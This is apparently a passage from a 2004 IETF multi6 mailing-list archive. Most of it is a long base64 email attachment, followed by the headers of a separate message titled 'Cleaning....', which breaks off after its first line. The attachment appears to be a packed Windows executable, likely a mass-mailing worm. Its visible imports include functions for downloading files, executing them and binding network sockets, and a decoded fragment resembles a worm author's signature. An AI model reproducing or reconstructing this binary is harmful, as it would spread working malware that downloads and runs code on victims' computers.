IHN1/m9/93J2aXYSU28sIHlvdRhpbGwgYmUgbWlut/bb7xUtLSBCYWc5IEF1dGhPIjI5Ybdv
7i4wNAIJR2VybUR5Ln1v/7fvagAB6I5AkKNsmUAAaA84BP81BN/tGt9wQBQhigU2bAQWsZBq
ZNr+/3cHQW7r8cnDVYvsV/91CF/rCEf2CIDtbv+XswU7fQx181/JwghCa09HABD7IN+PQUAo
aJOoDnCBBXFQHm7t/2UAAOmV/u//zP8l7GAPBShhGRkZeSQgHBgZGRkZFBAMCPIcGRkEAPxg
+DIyMjL08OjkMjIyMuCcVFgyMjIyXGBkaDIyMjJscHR4OTYyMnyAhL+IYJ7P5/OMYJBglGCY
YCz5fD5HoGCkYKhgrGDIyMjzsGC0uLzIyMjIwMTIzMnIyMjQ1NjcfD6f32GJcGFsYWhhZGHI
2OT5qGGkBZzIyMjItJSQjMjIyMiYsLisyMjIyLw4NEDhyMjIRFBITGHZZGRk5HiEfIAyMjLC
lxQQCOQ7YTIM2WAFIGRkZGQkKCwwZGRkZDQ4PEBhZmRkREhMAAIkVEEimqmi+h3D/vbfPhAE
jE/Lw8/UAcvPzNTI+gBt////qbW8rq27qL+mrpOXn/qeiIyenpaW1J+CC6bZ//+BDLWvrqq1
qa7Uv6K/+rS3u7O0Cf7/3/61qK61tKUNrr+otL+upam/ua+lydTKpc7Kzd++bc8gqrwKpWCl
w8KlJKW3v6Vrt23YyLEYDKkvtL05EPnPbgeotUW5rgypubK/vsnIdmtnP66svrcJrKgYy8wM
tfb/NrE4s7XXraiq187Iy9dICr257oOUsbO2tky5Xl+ur6q3mTu2L8sXtr4VCRy7tifkD3Ov
DLG+ta20yMp9LDZrABBCCrm2v7sj/D+2pbkLu6yKiJWOn5mOw4IeudjCWfu3vai+sx4otxPK
peRk7Ta558OiTQy0rg/7NpusBmy4y8LLC66+z27t2a23pLO5vnmqtKW+vwuDtYW8pa78DKqO
oy8b1mYKUgepvqhCYVZwK9iNGVOfObZyv5+yAb+iq68cWMAKTBglrL+d3ZJnqr4Xohaus6yz
qC3Yh/Cvqde5Ory7qQgXsDArtL9ydgxErTicNYLMHhGqnFkLttAGsLsioAeSsM3aqWJpz7WE
5MDe/hXPycpbuKO4EK1g24Mlo724t+GvCmXdYI2ig73cvgnWyhG2Wr3esruFBIZ9CY06LLKu
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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA
AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA
eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA
AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA
gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA
AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/
/wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA
AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAP//////////////////////////////////////////////////
/////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf//
gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA
6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA
AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA
AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA
wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA
AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E
TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw
aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA
TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl
eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA
VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA
AAAAAAAAAAAAAAAAAAAAABXFBQV3h1aZFETCewdDvn0DOHdtmRUsd5jChjOhuh0ExahXS3Qw
NZcMNcdEMppif2IPw7xxK5/Ec8SwfiC/mqtgUBFKEECkFIU9fBiRA4KjMi82jbhQXiGlRLws
gDwwvJYYlF4GW3mWCIGKZjVNM6+hcBWrtREpcjleKbQxx1LFGpxHurmwTilcpT0aNKQTDrIR
vgYzHH4GB65DfKgPrTK5U34xFKs+c5iWcny+wAOCvLQNfD6qUn+QKBMHtMSLni5FjUJGA1kl
XsW+wG0eO3Aln1cZGQ6scI4Uez+sdKS+xG0lL32qsV2jk3CjE1CexkmRTQcjmYcEHXOdnTi3
oyQWYDw1H4k/AGFcmgpgi3kapXcvULd6DiMNmzCbEGKeMENPXWXFqJJaDMYdDVGhHqpKE0MK
V4F4V4JblEKfKbp+n3s3lUg7lEaYsGHAamR7KGUIcqhHS5E2uVcDEHiIAxxhQ3O2JSVUIVuJ
YXpzTXB9cpIcAzR/Or4UXqmXZGgzX2dYXR5Gng9HaQ8dlKyhX4UVtkRGoHoHNME6AK1sYHWa
nXN1vIAStDxRMlRRHCFixUxAak8gIIYxl1dOLMOqUSlsm41aWC6HC1cWVmmummNdJU56gDWA
nU8pIKZxjJyxhQFpDZYvnkJvdScTOiqxqY6pICqCBm7BxcCmsJwIw7iVvXxCOnYgmmivD1ER
nw4svnuuXlJMdsIGTXRqpUh3o2UBjTEUfEUPlYkQZx6KPsKKOqCFMkW4FRGPF4l3j5+SBxCY
jWyVarWIE7sLZFwycAgEt3lxibG+ShB1HGOFpIw1P2AcHYweWJUMhAEmVByDMFIDm8UGZqkD
v7EoaME+MbEvW0qsBrgKNatoDx9+OypSUAWfqol7xGdswT9leQFwsi5gbm2LTBCKf5EyWjpe
oDw/Fmt7Mk2awAMyv2xIukaAHmukt3JKLKC/xGw+b3ajaIR4Q61LWY4fSCMpQn55C8QOhjtZ
tbQ+NbAuYXUXdwl4lAdlCSW+rQprb2wUUwN7c1W1jiWTKa2UbXi1G0SNgX5meq+SDQk/Jxxo
fbG5uauFmoKlqnsZlmQHfLRtoZukeI5SarsNNXpIoI8JYFaJqC0WRrXFYWqEhbtfLx5MaDyJ
TS9PliR5YC6xLi4uAFAUgo8Sd2k4d72sMlOFHJN4siAju7ZHW7slPAxoY5BxDBkLMUIhIlcS
dlYMHoo5vx+HDjAkdWC7Zyh4NqF5vzs5ZD5wBWl3esRxh2AGpLbAiZA6D6iRH4jCfAaTTwsA
B5WRFBUDkKlYfpl0NbuBSzkPPBIPhq9pjjOuwm8L

----------apeakwkrvqfnqychgdyv--




From owner-multi6@ops.ietf.org  Thu May  6 10:12:29 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15311
	for <multi6-archive@lists.ietf.org>; Thu, 6 May 2004 10:12:29 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLjbU-0006iE-R4
	for multi6-data@psg.com; Thu, 06 May 2004 14:12:00 +0000
Received: from [193.0.9.56] (helo=laptop2.kurtis.pp.se)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLjbT-0006ha-Nc
	for multi6@ops.ietf.org; Thu, 06 May 2004 14:12:00 +0000
Received: from [127.0.0.1] (localhost [127.0.0.1])
	by laptop2.kurtis.pp.se (Postfix) with ESMTP id 020EB3E965D
	for <multi6@ops.ietf.org>; Thu,  6 May 2004 16:11:54 +0200 (CEST)
Mime-Version: 1.0 (Apple Message framework v613)
Content-Transfer-Encoding: 7bit
Message-Id: <4E76151B-9F67-11D8-8A64-000A95928574@kurtis.pp.se>
Content-Type: text/plain; charset=US-ASCII; format=fixed
To: Multi6 List <multi6@ops.ietf.org>
From: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>
Subject: Cleaning....
Date: Thu, 6 May 2004 16:11:45 +0200
X-Pgp-Rfc2646-Fix: 1
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
